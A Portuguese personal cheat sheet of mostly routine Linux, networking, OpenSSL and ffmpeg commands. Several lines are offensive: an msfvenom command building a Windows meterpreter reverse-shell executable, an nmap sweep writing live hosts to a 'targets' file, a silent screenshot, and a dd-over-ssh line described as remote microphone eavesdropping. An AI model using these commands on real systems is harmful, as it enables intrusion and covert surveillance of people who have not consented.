Esta página é um arquivo de comandos úteis que eu aprendo e arquivo aqui para uso no futuro.
Comandos Gerais
#Copiar chaves SSH para login sem senha
ssh-copy-id username@hostname
#Como verificar os últimos usuários logados ?last
#Como verificar quais usuários estão logados no momento ?
who
#Como ler um arquivo enquanto ele é escrito ?
tail -f /var/log/auth
#Subindo um SImple HTTP Server com Python
python -m SimpleHTTPServer
#Tirar Screenshot silenciosamente pela linha de comando
xwd -silent -root | convert xwd:- screenshot.png
#Verificar IP pela linha de comandocurl ifconfig.me
#Lista de Comando mais Utilizadoshistory | awk ‘{a[$2]++}END{for(i in a){print a[i] ” ” i}}’ | sort -rn | head
OpenSSL
#Descriptografar RSA com a chave privada RSA.
openssl rsautl -in ArquivoCriptografado -inkey ChavePrivada.key -decrypt
#Cifrar com AES
openssl aes-128-cbc -in ArquivoaSerCifrado -OUT arquivocifrado -K senha -iv VetordeInicializacao
Troubleshooting de rede
#Verificar resposta de DNS de um determinado servidor
dig www.tiforense.com.br @8.8.8.8
#Adicionar rota estática
route add default gw 10.0.0.1
#Deletar rota estática
route del default gw 10.0.0.1
#Listar portas TCP e UDP (ouvindo) servidor conexões:
netstat -tunlp
#Filtrar pacotes apenas contendo o MAC:
tcpdump -n ether host 10:20:30:40:50:60
#Filtrar pacotes apenas contendo o MAC de origem:
tcpdump -n ether src host 10:20:30:40:50:60
#Filtrar pacotes apenas contendo o MAC de destino:
tcpdump -n ether dst host 10:20:30:40:50:60
#Adicionar rota estática
route add -net 172.50.0.0/16 gw 10.0.0.1
ou
ip route add 172.50.0.0/16 via 10.0.0.1
Nmap
#Comando nmap para encontrar os IP’s vivos numa sub-rede e gravar apenas os IP’s num arquivo.
nmap -sn 10.1.1.1/21 -oG – | grep Up | awk ‘{print $2}’ > alvos.txt
Docker
#Exemplo de execução de comando dentro do Container Docker.
docker exec -i grafana sh -c ‘grafana-cli plugins install grafana-piechart-panel’
SSH
#Montando um mapeamento de rede via SSH
sshfs name@server:/path/to/folder /path/to/mount/point#Conexão SSH com Host In The Middlessh -t Destino_Alcancavel ssh Destino_Inancancavel
Mount
#Mount Organizadomount | column -t#Montar uma ISO com mount
mount /path/to/arquivo.iso /mnt/dados -o loop
Hashcat
DD
SQLMap
Metasploit / MSFConsole
#Criando payload de meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.1.1 LPORT=4444 -f exe -a x86 > winrm.exe
Outros
#Verificar quais programas estão usando internet no momento
lsof -P -i -n
#Grava a tela e converter para .mp4
ffmpeg -f x11grab -r 25 -s 1366×728 -i :0.0 /tmp/outputFile.mp4#Fazendo uma escuta de microfone remota
dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp
#Soar alarme quando um IP ficar Online
ping -i 60 -a IP_address#Compartilhando um arquivo pela porta 80
nc -v -l 80 < file.ext#Baixar todos os links de um arquivo no Shell
for i in $(cat links.txt); do wget -c “$i” & done;
#Inversão de Binário
< file.gnp xxd -p -c1 | tac | xxd -p -r > file.png#Diminuir o tamanho de um video com o FFMPEG
ffmpeg -i “WhatsAppVideoExemplo.mp4” -c:v libx264 -crf 24 -b:v 1M -c:a aac output.mp4
Windows
#Alterando senha de usuário no WIndows pelo CMD
net user NOMEdoUsuario NOVAsenha